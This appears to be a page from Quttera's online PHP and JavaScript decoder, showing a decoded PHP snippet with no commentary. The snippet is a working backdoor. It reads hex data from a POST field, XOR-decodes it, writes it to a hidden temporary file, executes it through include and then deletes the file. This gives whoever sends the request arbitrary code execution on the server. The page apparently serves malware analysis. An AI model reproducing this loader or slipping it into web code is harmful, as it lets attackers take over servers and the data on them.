Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


	if(array_key_exists("desc", $_POST)){
	 $marker = hex2bin($_POST["desc"]);
	 $entry = '' ;
	 $a = 0;
		 do{
		$entry .= chr(ord($marker[$a]) ^ 87);
		$a++;
	}
	 while($a < strlen($marker));
	 $fac = array_filter([getenv("TMP"), "/dev/shm", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/tmp"]);
	 $holder = 0;
		 do {
		 $property_set = $fac[$holder] ?? null;
		 if ($holder >= count($fac)) break;
			 if (!!is_dir($property_set) && !!is_writable($property_set)) {
			 $resource = join("/", [$property_set, ".record"]);
			 $file = fopen($resource, 'w');
				 if ($file) {
				 fwrite($file, $entry);
				 fclose($file);
				 include $resource;
				 @unlink($resource);
				 die();
				 
			}
			 
		}
		 $holder++;
		 
	}
	 while (true);
	 
}



© 2023 Quttera Ltd. All rights reserved.